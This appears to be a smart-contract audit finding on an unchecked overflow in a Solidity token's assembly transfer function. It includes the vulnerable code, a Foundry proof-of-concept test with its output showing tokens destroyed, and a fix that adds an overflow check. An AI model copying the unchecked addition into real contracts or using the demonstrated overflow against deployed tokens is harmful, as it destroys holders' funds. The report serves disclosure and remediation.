Root + Impact
Description
-
The _transfer() function should add the transfer amount to the recipient's existing balance. The function validates that the sender has sufficient balance but assumes the recipient balance can always accommodate the addition.
-
The assembly implementation uses unchecked add(toAmount, value) without overflow protection. When a recipient's balance is type(uint256).max - 100 and receives 200 tokens, the addition wraps around to 99 instead of reverting. The sender loses 200 tokens while the recipient only gains 99, with 101 tokens permanently lost from circulation.
function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly ("memory-safe") {
let ptr := mload(0x40)
let baseSlot := _balances.slot
mstore(ptr, from)
mstore(add(ptr, 0x20), baseSlot)
let fromSlot := keccak256(ptr, 0x40)
let fromAmount := sload(fromSlot)
mstore(ptr, to)
mstore(add(ptr, 0x20), baseSlot)
let toSlot := keccak256(ptr, 0x40)
let toAmount := sload(toSlot)
if lt(fromAmount, value) {
mstore(0x00, shl(224, 0xe450d38c))
mstore(add(0x00, 4), from)
mstore(add(0x00, 0x24), fromAmount)
mstore(add(0x00, 0x44), value)
revert(0x00, 0x64)
}
sstore(fromSlot, sub(fromAmount, value))
@> sstore(toSlot, add(toAmount, value))
success := 1
mstore(ptr, value)
log3(ptr, 0x20, 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, from, to)
}
}
Risk
Likelihood:
-
The vulnerability triggers when any recipient's balance approaches type(uint256).max, which occurs naturally in high-volume DeFi protocols where treasury or liquidity pool contracts accumulate large token amounts over time.
-
Attackers can deliberately engineer overflow scenarios by first inflating a target address balance to near-maximum through the burn underflow vulnerability, then triggering overflow on incoming transfers to grief victims.
Impact:
-
Permanent destruction of tokens during transfer operations breaks the fundamental invariant that total supply equals the sum of all balances, causing accounting discrepancies across integrated protocols.
-
Large token holders such as DEX liquidity pools or protocol treasuries become unable to receive transfers without losing funds, effectively creating a denial of service for critical protocol infrastructure.
Proof of Concept
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {Token} from "./Token.sol";
contract TransferOverflowTest is Test {
Token public token;
address public sender;
address public receiver;
function setUp() public {
token = new Token();
sender = makeAddr("sender");
receiver = makeAddr("receiver");
}
function test_TransferOverflowCorruptsReceiverBalance() public {
token.mint(sender, type(uint256).max);
console.log("Sender balance:", token.balanceOf(sender));
token.mint(receiver, 1);
console.log("Receiver initial balance:", token.balanceOf(receiver));
token.burn(receiver, 1);
token.mint(receiver, type(uint256).max - 100);
console.log("Receiver balance set to near-max:", token.balanceOf(receiver));
vm.prank(sender);
token.transfer(receiver, 200);
uint256 finalBalance = token.balanceOf(receiver);
console.log("Receiver balance after overflow:", finalBalance);
assertEq(finalBalance, 99);
console.log("Vulnerability confirmed: Receiver lost tokens due to overflow");
}
}
Result:
forge test --match-path test/TransferOverflow.t.sol -vvv
[⠆] Compiling...
[⠑] Compiling 1 files with Solc 0.8.31
[⠃] Solc 0.8.31 finished in 285.95ms
Compiler run successful with warnings:
Warning (3805): This is a pre-release compiler version, please do not use it in production.
Ran 1 test for test/TransferOverflow.t.sol:TransferOverflowTest
[PASS] test_TransferOverflowCorruptsReceiverBalance() (gas: 112003)
Logs:
Sender balance: 115792089237316195423570985008687907853269984665640564039457584007913129639935
Receiver initial balance: 1
Receiver balance set to near-max: 115792089237316195423570985008687907853269984665640564039457584007913129639835
Receiver balance after overflow: 99
Vulnerability confirmed: Receiver lost tokens due to overflow
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.59ms (127.66µs CPU time)
Ran 1 test suite in 41.06ms (2.59ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
Add an overflow check before updating the recipient's balance to ensure the addition will not wrap around. This prevents fund loss by reverting transactions that would cause overflow.
function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly ("memory-safe") {
// ... address validation ...
let ptr := mload(0x40)
let baseSlot := _balances.slot
mstore(ptr, from)
mstore(add(ptr, 0x20), baseSlot)
let fromSlot := keccak256(ptr, 0x40)
let fromAmount := sload(fromSlot)
mstore(ptr, to)
mstore(add(ptr, 0x20), baseSlot)
let toSlot := keccak256(ptr, 0x40)
let toAmount := sload(toSlot)
if lt(fromAmount, value) {
mstore(0x00, shl(224, 0xe450d38c))
mstore(add(0x00, 4), from)
mstore(add(0x00, 0x24), fromAmount)
mstore(add(0x00, 0x44), value)
revert(0x00, 0x64)
}
+ // Check recipient balance will not overflow
+ if gt(value, sub(not(0), toAmount)) {
+ revert(0, 0)
+ }
sstore(fromSlot, sub(fromAmount, value))
sstore(toSlot, add(toAmount, value))
success := 1
mstore(ptr, value)
log3(ptr, 0x20, 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, from, to)
}
}